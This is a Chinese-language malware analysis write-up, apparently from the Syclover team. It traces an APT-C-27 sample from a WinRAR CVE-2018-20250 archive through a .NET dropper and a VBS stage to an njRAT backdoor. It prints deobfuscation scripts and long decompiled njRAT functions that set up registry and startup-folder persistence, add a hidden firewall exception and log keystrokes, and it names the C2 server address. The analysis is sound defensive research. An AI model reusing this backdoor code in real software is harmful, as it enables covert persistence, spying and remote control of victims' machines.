APT-C-27(黄金鼠)攻击文档分析
0x00 文件信息
样本MD5 : 314e8105f28530eb0bf54891b9b3ff69
是个压缩文件
0x01 样本行为
从之前的分析报告中能够看到,它会在使用WinRAR解压的时候释放文件到某个特定的目录。利用的WinRAR漏洞为CVE-2018-20250,接下来先去了解下CVE-2018-20250。
从FreeBuf的文章中可以看到,用WinRAR打开文件(不是解压),能够看到文件里面包含了一个磁盘。
我这里打开之后也同样能看到一个磁盘,说明这确实是使用了CVE-2018-20250。
这里我好像遇到了一个问题,WinRAR的版本不对,于是搜了一下别人能复现成功的版本 WinRAR 5.60简体中文版
WinRAR链接:https://www.rarlab.com/rar/winrar-x64-560sc.exe
这时候就已经CVE触发成功了,能看到向启动菜单释放了一个文件Telegram Desktop.exe,而且看图标,应该是.Net程序。
所以把这个文件从沙箱中脱出来分析。
释放文件分析
现在能看到,这个程序Main函数
主要是一个启动器,为了启动Form1,那么接下来就去分析一下Form1
Form1的构建函数就会初始化一些变量,我们用Python解一下看看这些变量是什么。
dx1 = '4321'.replace('4', 'L').replace('3', 'o').replace('2', 'a').replace('1', 'd')
dx2 = "98765438".replace("9", "E").replace("8", "nt").replace("7", "r").replace("6", "y").replace("5", "P").replace("4", "o").replace("3", "i")
dx3 = "123456".replace("1", "I").replace("2", "n").replace("3", "v").replace("4", "o").replace("5", "k").replace("6", "e")
ex1 = "[%79]".replace("7", "0").replace("9", "1").replace("%", "^")
ex2 = ""
print dx1
print dx2
print dx3
print ex1
/*
Load
EntryPoint
Invoke
<a href="#footnote-01"><sup>[01]</sup></a>
*/
接下来,在Form1_Load中,如下图,先从资源中写出一个vbs脚本,然后运行该脚本并等待17秒,估计是等待脚本运行完成。
那么我们去将.Net程序的资源文件dump下来,由于vbs脚本代码过长,附一个脚本链接:https://gist.github.com/490694561/ad5e4066c8660e169e58313019c44e7c
虽然我不咋会VBS不过从中大概看出的逻辑是
创建对象-设置运行环境然后创建行对象-设置内容格式为base64-然后写入对象-保存为文件-运行
接下来就去将这个Process.exe弄出来看一下是什么如下图,可以看到应该又是一个.Net程序。
可以看到如上图,程序的Main又是去运行Form1,所以依然去Form1看代码。
在Form1的构建函数中依然是初始化了一些变量
能看到Form1_Load的代码就是取创建这个1717.txt的
大致就是判断文件是否存在,如果存在就删除重新创建,如果不存在就直接创建
接下来需要知道创建的文件被写入了什么内容。
这里的str函数是自己写的,肯定有问题,先去看一下能看到是拼接资源文件中的字符串
所以需要先把这9个文件拼接在一起成为1717.txt
这里有个小问题,直接从dnspy中导出时总会在文件前面多3个字符,不清楚为啥
tmp_data = ''
for i in xrange(9):
with open('1717_dumpfile/_%d' % (i + 1), 'rb') as f:
tmp_data += f.read()
with open('1717.txt', 'wb') as f:
f.write(tmp_data)
这样就能得到1717.txt的文件了,并且程序到这里也就运行完了
继续看执行流程,能看到在sleep的时间过后就会读取1717.txt并且通过自己的函数RepBase64函数还原数据然后初始化一个字符串,RepBase64函数如下图,都使用Python脚本还原一下
# -*- coding:utf-8 -*-
with open('1717.txt', 'rb') as f:
tmpdata = f.read()
def RepBase64(x):
x = x.replace("升", "AAAA")
x = x.replace("丁", "B")
x = x.replace("읍", "C")
x = x.replace("알", "D")
x = x.replace("앞", "E")
x = x.replace("巨", "F")
x = x.replace("얘", "G")
x = x.replace("下", "H")
x = x.replace("ᄍ", "I")
x = x.replace("工", "J")
x = x.replace("ᄊ", "K")
x = x.replace("三", "L")
x = x.replace("ᄈ", "M")
x = x.replace("水", "N")
x = x.replace("응", "O")
x = x.replace("心", "P")
x = x.replace("앙", "Q")
x = x.replace("冊", "R")
x = x.replace("음", "S")
x = x.replace("內", "T")
x = x.replace("ד", "U")
x = x.replace("官", "V")
x = x.replace("악", "W")
x = x.replace("匹", "X")
x = x.replace("안", "Y")
x = x.replace("力", "Z")
x = x.replace("月", "a")
x = x.replace("을", "b")
x = x.replace("ސ", "c")
x = x.replace("임", "d")
x = x.replace("戶", "e")
x = x.replace("잎", "f")
x = x.replace("已", "g")
x = x.replace("율", "h")
x = x.replace("尺", "i")
x = x.replace("월", "j")
x = x.replace("弓", "k")
x = x.replace("원", "l")
x = x.replace("七", "m")
x = x.replace("웅", "n")
x = x.replace("臼", "o")
x = x.replace("울", "p")
x = x.replace("人", "q")
x = x.replace("운", "r")
x = x.replace("山", "s")
x = x.replace("옴", "t")
x = x.replace("父", "u")
x = x.replace("왕", "v")
x = x.replace("了", "w")
x = x.replace("왜", "x")
x = x.replace("乙", "y")
x = x.replace("에", "z")
return x
if __name__ == '__main__':
aaa = RepBase64(tmpdata)
print aaa
text2 = "!#$%^ase*|St#ing".replace("!", "F").replace("#", "r").replace("$", "o").replace("%", "m").replace("^", "B").replace("*", "6").replace("|", "4")
print text2
生成的这个程序应该就是njRAT后门程序了,但是我没从代码中看出来他是怎么运行的,估计还得仔细看一下
this.zd1 = Thread.GetDomain();
this.zd2 = CallType.Method;
this.zd3 = CallType.Get;
this.zd4 = null;
上面备份了4个变量,他们将在如下图所示的流程中使用
在 byte[] v = this.ccc(...) 前包含这一行主要进行的就是将 y 哪里的Base64代码转化为byte数组存在变量
objectValue3那里是通过隐式调用Load载入y的后门程序字节码,返回对象。
objectValue4那里是通过隐式调用EntryPoint应该是获得程序入口点。
objectValue5那里是通过隐式调用Invoke来从EntryPoint开始运行程序。
之后程序就被运行起来了,这个程序的作用就没那么大了。
然后转而去分析新生成的njRAT后门程序。
可以看到这还是一个.Net程序,同时我们还能看到很多需要用到的参数在OK类里,如下图
在运行一开始的时候就会先去调用OK类的ko方法
程序代码较长,直接放代码上来
**public static void ko()
{
if (Interaction.Command() != null)
{
try
{
OK.F.Registry.CurrentUser.SetValue("di", "!");
}
catch (Exception ex)
{
}
Thread.Sleep(5000);
}
bool flag = false;
OK.MT = new Mutex(true, OK.RG, ref flag);
if (!flag)
{
ProjectData.EndApp();
}
OK.INS();
if (!OK.Idr)
{
OK.EXE = OK.LO.Name;
OK.DR = OK.LO.Directory.Name;
}
Thread thread = new Thread(new ThreadStart(OK.RC), 1);
thread.Start();
try
{
OK.kq = new kl();
thread = new Thread(new ThreadStart(OK.kq.WRK), 1);
thread.Start();
}
catch (Exception ex2)
{
}
int num = 0;
string left = "";
if (OK.BD)
{
try
{
SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1)
{
OK.ED();
};
OK.pr(1);
}
catch (Exception ex3)
{
}
}
checked
{
for (;;)
{
Thread.Sleep(1000);
if (!OK.Cn)
{
left = "";
}
Application.DoEvents();
try
{
num++;
if (num == 5)
{
try
{
Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
}
catch (Exception ex4)
{
}
}
if (num >= 8)
{
num = 0;
string text = OK.ACT();
if (Operators.CompareString(left, text, false) != 0)
{
left = text;
OK.Send("act" + OK.Y + text);
}
}
if (OK.Isu)
{
try
{
if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\" + OK.RG, ""), """ + OK.LO.FullName + "" ..", false))
{
OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");
}
}
catch (Exception ex5)
{
}
try
{
if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\" + OK.RG, ""), """ + OK.LO.FullName + "" ..", false))
{
OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");
}
}
catch (Exception ex6)
{
}
}
}
catch (Exception ex7)
{
}
}
}
}**
从这里能看到首先被执行的函数是 OK.INS() 就目前而言前面两个判断都不会执行。
**public static void INS()
{
Thread.Sleep(1000);
if (OK.Idr)
{
if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\" + OK.EXE.ToLower())))
{
try
{
if (File.Exists(Interaction.Environ(OK.DR) + "\" + OK.EXE))
{
File.Delete(Interaction.Environ(OK.DR) + "\" + OK.EXE);
}
FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\" + OK.EXE, FileMode.CreateNew);
byte[] array = File.ReadAllBytes(OK.LO.FullName);
fileStream.Write(array, 0, array.Length);
fileStream.Flush();
fileStream.Close();
OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\" + OK.EXE);
Process.Start(OK.LO.FullName);
ProjectData.EndApp();
}
catch (Exception ex)
{
ProjectData.EndApp();
}
}
}
try
{
Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
}
catch (Exception ex2)
{
}
try
{
Interaction.Shell(string.Concat(new string[]
{
"Exceptiona firewall add allowedprogram "",
OK.LO.FullName,
"" "",
OK.LO.Name,
"" ENABLE"
}), AppWinStyle.Hide, true, 5000);
}
catch (Exception ex3)
{
}
if (OK.Isu)
{
try
{
OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");
}
catch (Exception ex4)
{
}
try
{
OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, """ + OK.LO.FullName + "" ..");
}
catch (Exception ex5)
{
}
}
if (OK.IsF)
{
try
{
File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\" + OK.RG + ".exe", true);
OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\" + OK.RG + ".exe", FileMode.Open);
}
catch (Exception ex6)
{
}
}
}**
这样来看,一开始的if也是不成立的,一开始那个值为false,然后设置环境变量SEEMASKNOZONECHECKS
看网上这是关闭附件检查器的意思
然后添加防火墙白名单[应该是吧,我也看不那么懂,没用过这些命令]
这函数的后两个if都不会执行,所以回到主流程。
返回主流程后会新建两个现成分别是函数OK.RC和函数OK.kq.WRK,然后在函数OK.RC中能看到有调用connect方法。
在connect方法里面还有个Connect方法,Connect方法传入C&C服务器ip和port并且尝试建立连接。
Server ip : 82.137.255.56 Server port : 1921
之后马上调用方法OK.inf用于获取系统的一些信息,并且调用OK.Send发送至服务器,然后会再次拼接一些系统相关信息[暂时还未分析],然后传回服务器
退回OK.RC函数,这时候就会进入一个大循环然后这个循环的主要功能是接收C&C服务器发来的Object[对,没看错,真的是.Net对象]然后拷贝到OK.MeM并且执行
进入OK.Ind函数,字数限制,贴一个源码ind-function.java链接:https://gist.github.com/490694561/ad5e4066c8660e169e58313019c44e7c/revisions
然后继续退回到主函数ok,往下看到创建线程,函数为OK.kq.WRK
该函数主要为键盘记录
但是我没法理解他为啥不用事件去做键盘记录而是使用循环判断,这样不会导致计算机资源占用较大吗
函数大概内容就是一个大循环每1000次调用一下OK.STV,然后里面的do...while是用于判断按键的,这里套用一下百度百科的说法
所以相当于遍历所有键,判断当前用户按的是哪个键。
进入函数OK.STV能看到这是个写注册表的函数
在某个特定的路径下创建键值对,而且在上层函数中能够看到存的键值名称固定为[kl],然后往注册表中存入键盘记录信息,信息大小为20 * 1024,如果超过这个长度就会切掉前面多余的部分留下最新的。
放一张后门程序函数图
总结
该njRAT远控还具有远程SHELL、插件下载执行、远程桌面、文件管理等多个功能,就不一一解释了。cve分析待续。
长
按
关
注
三叶草小组公众号
新浪微博:@三叶草小组Syclover
热爱技术,初心依旧~
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论